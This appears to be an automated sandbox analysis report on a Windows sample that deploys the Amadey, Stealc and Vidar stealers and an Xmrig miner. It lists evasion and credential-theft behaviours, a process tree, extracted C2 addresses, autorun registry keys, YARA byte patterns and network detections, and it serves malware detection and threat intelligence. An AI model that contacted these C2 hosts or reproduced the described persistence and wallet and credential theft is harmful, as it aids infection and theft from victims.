Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1479775
MD5:	57a35eb5298b9bec9cd7ffc3fb8204f7
SHA1:	93381d2f35df4d54134db07167c2eee616a2d3e9
SHA256:	390163b1882726bbb614ee93e59b727feae9dfec735d4813dca8caf709f65c48
Tags:	exe
Infos:

Detection

Amadey, Babadeda, Stealc, Vidar, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Amadeys stealer DLL

Yara detected Babadeda

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected Stratum mining protocol

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

PE file contains section with special chars

PE file has a writeable .text section

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6896 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 57A35EB5298B9BEC9CD7FFC3FB8204F7)

cmd.exe (PID: 2120 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGCAFHCAKF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userBGCAFHCAKF.exe (PID: 5084 cmdline: "C:\Users\userBGCAFHCAKF.exe" MD5: 8DCA8723B206C803E7ACE213DF89B4F4)

explorti.exe (PID: 10448 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 8DCA8723B206C803E7ACE213DF89B4F4)

cmd.exe (PID: 3916 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBKFCAFCFBA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userBKFCAFCFBA.exe (PID: 7100 cmdline: "C:\Users\userBKFCAFCFBA.exe" MD5: A5E070181A6CD03264427E255B7CAD97)

cmd.exe (PID: 3488 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\8126.tmp\8127.tmp\8128.bat C:\Users\userBKFCAFCFBA.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 4852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7512 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 9740 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5336 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 10004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 3336 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2092,i,7068056822517708986,10255811577766232066,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

firefox.exe (PID: 7116 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cmd.exe (PID: 7680 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKEHDGDGHC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RoamingBKEHDGDGHC.exe (PID: 8200 cmdline: "C:\Users\user\AppData\RoamingBKEHDGDGHC.exe" MD5: 927614BDB1FFF68B49468BC4A3886F36)

axplong.exe (PID: 10464 cmdline: "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe" MD5: 927614BDB1FFF68B49468BC4A3886F36)

WerFault.exe (PID: 5000 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6896 -s 2524 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 7320 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

firefox.exe (PID: 7556 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7648 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 9680 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2188 -prefMapHandle 2180 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e5cc8fe-62d3-40c5-b78e-72fcde7b7555} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 25c9ac6ef10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7592 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4104 -parentBuildID 20230927232528 -prefsHandle 4152 -prefMapHandle 2764 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1fc7640d-c802-4f2d-90d8-c39dc38d8254} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 25cacc68810 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

msedge.exe (PID: 8060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8396 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9352 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6296 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9380 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6576 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 5348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7444 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 9456 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7444 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 11056 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7744 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

svchost.exe (PID: 9180 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 5000 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6896 -ip 6896 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 10704 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 10656 -ip 10656 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 10404 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

explorti.exe (PID: 10508 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 8DCA8723B206C803E7ACE213DF89B4F4)

msedge.exe (PID: 11180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1740 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2052,i,15441760254145988461,15363386439587136633,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9052 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8596 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2024,i,896730670304015213,14143219268835796612,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

explorti.exe (PID: 11024 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 8DCA8723B206C803E7ACE213DF89B4F4)

explorti.exe (PID: 10532 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 8DCA8723B206C803E7ACE213DF89B4F4)

1a87deddda.exe (PID: 10656 cmdline: "C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe" MD5: 57A35EB5298B9BEC9CD7FFC3FB8204F7)

WerFault.exe (PID: 10724 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 10656 -s 1316 MD5: C31336C1EFC2CCB44B4326EA793040F2)

axplong.exe (PID: 11004 cmdline: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe MD5: 927614BDB1FFF68B49468BC4A3886F36)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Babadeda	According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.	No Attribution	https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities	https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.31/5499d72b3a3e55be.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.31silence/5499d72b3a3e55be.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.81/Kiru9gu/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\userBKFCAFCFBA.exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\go[1].exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000029.00000003.2037153735.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2140652830.0000000002678000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000031.00000002.2456683952.00000000024C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000027.00000003.2031536498.0000000004890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2040917172.0000000000E21000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000003.2035282001.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.1895700726.0000000005460000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2140576144.000000000265E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1598:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000002F.00000002.2946034117.0000000000A51000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2139716029.00000000025E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000028.00000002.2079726776.0000000000A51000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2041622176.0000000000C71000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002E.00000003.2333444933.0000000005280000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.1949969337.00000000049D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000002.2457916077.000000000250C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1440:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000002F.00000003.2334503880.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000002.2073620835.0000000000611000.00000040.00000001.01000000.00000018.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000002.2077974435.0000000000611000.00000040.00000001.01000000.00000018.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002E.00000002.2945747698.0000000000611000.00000040.00000001.01000000.00000018.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6896	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6896	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6896	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6896	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: explorti.exe PID: 11024	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 1a87deddda.exe PID: 10656	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 1a87deddda.exe PID: 10656	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author
7.0.userBKFCAFCFBA.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
7.2.userBKFCAFCFBA.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
39.2.explorti.exe.610000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
41.2.explorti.exe.610000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
46.2.explorti.exe.610000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.userBGCAFHCAKF.exe.c70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.RoamingBKEHDGDGHC.exe.e20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
47.2.axplong.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
40.2.axplong.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe, ProcessId: 11024, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1a87deddda.exe

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 6896, TargetFilename: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe, ProcessId: 11024, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1a87deddda.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7320, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-24T02:38:59.258940+0200
SID:	2044248
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 77.91.77.82 - Destination IP: 192.168.2.4

Timestamp:	2024-07-24T02:40:07.827947+0200
SID:	2856122
Source Port:	80
Destination Port:	49867
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-24T02:40:33.537029+0200
SID:	2044243
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-24T02:41:29.770537+0200
SID:	2047928
Source Port:	61371
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-24T02:40:58.503064+0200
SID:	2047928
Source Port:	63875
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 77.91.77.82

Timestamp:	2024-07-24T02:40:11.168242+0200
SID:	2044696
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-24T02:40:12.225541+0200
SID:	2044243
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.4 - Destination IP: 77.91.77.81

Timestamp:	2024-07-24T02:40:07.576451+0200
SID:	2019714
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 77.91.77.81 - Destination IP: 192.168.2.4

Timestamp:	2024-07-24T02:40:17.683005+0200
SID:	2856122
Source Port:	80
Destination Port:	49866
Protocol:	TCP
